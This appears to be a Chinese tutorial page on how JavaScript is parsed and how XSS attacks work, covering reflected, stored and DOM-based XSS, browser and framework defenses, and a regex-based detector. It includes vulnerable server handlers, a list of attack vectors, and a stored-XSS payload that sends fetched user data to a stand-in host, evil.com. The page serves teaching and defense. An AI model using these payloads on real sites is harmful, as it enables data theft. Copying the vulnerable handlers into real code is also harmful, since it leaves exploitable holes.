Experience

🛡️ JavaScript解析与XSS攻击原理 ​

WARNING

XSS攻击是最常见的Web安全漏洞之一，理解JS解析原理对防范XSS至关重要！

🔍 JavaScript解析过程 ​

graph TD
    A[源代码] -->|词法分析| B[Token流]
    B -->|语法分析| C[AST抽象语法树]
    C -->|字节码生成| D[字节码]
    D -->|执行| E[运行结果]
    
    style A fill:#f9f,stroke:#333,stroke-width:2px
    style E fill:#9cf,stroke:#333,stroke-width:2px

1. 浏览器解析JS的关键节点 ​

解析过程详解
javascript
// 1. 内联脚本解析
<script>
  alert('XSS');  // 直接执行
</script>

// 2. 外部脚本加载
<script src="http://evil.com/xss.js"></script>

// 3. 动态脚本注入
document.write('<script>alert("XSS")</script>');

// 4. 事件处理程序
<img src="x" onerror="alert('XSS')">

💉 XSS攻击形成原理 ​

1. 反射型XSS ​

攻击原理与示例
javascript
// 1. URL参数注入
// http://example.com/search?q=<script>alert('XSS')</script>

// 服务端未过滤直接返回
app.get('/search', (req, res) => {
  res.send(`搜索结果: ${req.query.q}`);  // 危险！
});

// 2. 表单数据注入
<form action="/echo">
  <input name="userInput">
</form>

// 服务端
app.post('/echo', (req, res) => {
  res.send(req.body.userInput);  // 危险！
});

2. 存储型XSS ​

攻击原理与示例
javascript
// 1. 评论区注入
const comment = {
  content: `<img src="x" onerror="
    fetch('/api/user').then(r=>r.json())
    .then(data => {
      new Image().src = 'http://evil.com/steal?data=' + 
      encodeURIComponent(JSON.stringify(data))
    })
  ">`,
  userId: "hacker"
};

// 2. 个人信息注入
const profile = {
  nickname: `"><script>alert(document.cookie)</script>`,
  avatar: "normal.jpg"
};

3. DOM型XSS ​

攻击原理与示例
javascript
// 1. innerHTML注入
function showMessage(message) {
  document.getElementById('message').innerHTML = message; // 危险！
}

// 2. location hash注入
window.onload = function() {
  var hash = location.hash.substring(1);
  document.getElementById('content').innerHTML = hash; // 危险！
};

// 3. eval注入
function calculate(expr) {
  return eval(expr); // 危险！
}

🛡️ 浏览器防御机制 ​

1. 内容安全策略(CSP) ​

html
<!-- 1. Meta标签方式 -->
<meta http-equiv="Content-Security-Policy" 
content="default-src 'self'; script-src 'self' 'unsafe-inline'">

<!-- 2. HTTP头部方式 -->
Content-Security-Policy: default-src 'self'; script-src 'self'

2. HttpOnly Cookie ​

javascript
// 服务端设置
Set-Cookie: sessionId=abc123; HttpOnly

// 浏览器中
document.cookie // 无法读取标记了HttpOnly的Cookie

3. 输入输出编码 ​

javascript
// 1. 输入过滤
function sanitizeInput(input) {
  return input.replace(/[&<>"']/g, char => ({
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;'
  })[char]);
}

// 2. 安全的DOM API
const text = document.createTextNode(userInput); // 安全
element.textContent = userInput; // 安全

🔨 防御最佳实践 ​

1. 代码层面 ​

javascript
// 1. React中的XSS防御
function SafeComponent({ userInput }) {
  // React默认转义HTML
  return <div>{userInput}</div>;
  
  // 如果必须使用HTML
  return <div dangerouslySetInnerHTML={{
    __html: DOMPurify.sanitize(userInput)
  }} />;
}

// 2. Vue中的XSS防御
<template>
  <!-- Vue默认转义HTML -->
  <div>{{ userInput }}</div>
  
  <!-- 如果必须使用HTML -->
  <div v-html="sanitizedInput"></div>
</template>

<script>
import DOMPurify from 'dompurify';

export default {
  computed: {
    sanitizedInput() {
      return DOMPurify.sanitize(this.userInput);
    }
  }
}
</script>

2. 服务器层面 ​

javascript
// 1. Express中间件
app.use((req, res, next) => {
  // 设置安全响应头
  res.setHeader('X-XSS-Protection', '1; mode=block');
  res.setHeader('Content-Security-Policy', 
    "default-src 'self'");
  next();
});

// 2. 输入验证
const sanitizeMiddleware = (req, res, next) => {
  req.body = sanitizeObject(req.body);
  next();
};

📊 XSS攻击检测 ​

1. 常见攻击向量 ​

javascript
// 1. 基础脚本注入
<script>alert('XSS')</script>

// 2. 事件处理程序
<img src="x" onerror="alert('XSS')">

// 3. JavaScript伪协议
<a href="javascript:alert('XSS')">点击我</a>

// 4. CSS注入
<style>@import 'http://evil.com/xss.css';</style>

// 5. SVG注入
<svg><script>alert('XSS')</script></svg>

2. 自动化检测 ​

javascript
// 1. XSS向量检测函数
function detectXSS(input) {
  const xssPatterns = [
    /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,
    /javascript:/gi,
    /onerror\s*=\s*/gi,
    /onclick\s*=\s*/gi
  ];
  
  return xssPatterns.some(pattern => pattern.test(input));
}

// 2. URL参数检测
function checkUrlParams(url) {
  const params = new URLSearchParams(url.search);
  for (let [key, value] of params) {
    if (detectXSS(value)) {
      console.warn(`Potential XSS in parameter: ${key}`);
    }
  }
}

🎯 面试重点 ​

1. XSS攻击类型 ​

mindmap
  root((XSS类型))
    反射型
      URL参数
      表单提交
    存储型
      数据库存储
      持久化攻击
    DOM型
      前端解析
      动态内容

2. 防御措施 ​

IMPORTANT

  1. 输入验证和过滤
  2. 输出编码
  3. CSP策略
  4. HttpOnly Cookie
  5. 安全的API使用

🚀 进阶知识点 ​

1. 现代框架的XSS防御 ​

javascript
// React的自动转义
const Component = () => {
  const userInput = '<script>alert("XSS")</script>';
  return <div>{userInput}</div>; // 安全，自动转义
};

// Vue的v-html指令
Vue.component('safe-html', {
  props: ['content'],
  render(h) {
    const sanitized = DOMPurify.sanitize(this.content);
    return h('div', { domProps: { innerHTML: sanitized } });
  }
});

2. 高级防御技术 ​

javascript
// 1. 子资源完整性(SRI)
<script src="https://example.com/script.js"
  integrity="sha384-hash"
  crossorigin="anonymous"></script>

// 2. 特征策略
Feature-Policy: camera 'none'; microphone 'none'

// 3. 沙箱隔离
<iframe sandbox="allow-scripts allow-same-origin"></iframe>

📚 扩展阅读 ​

返回顶部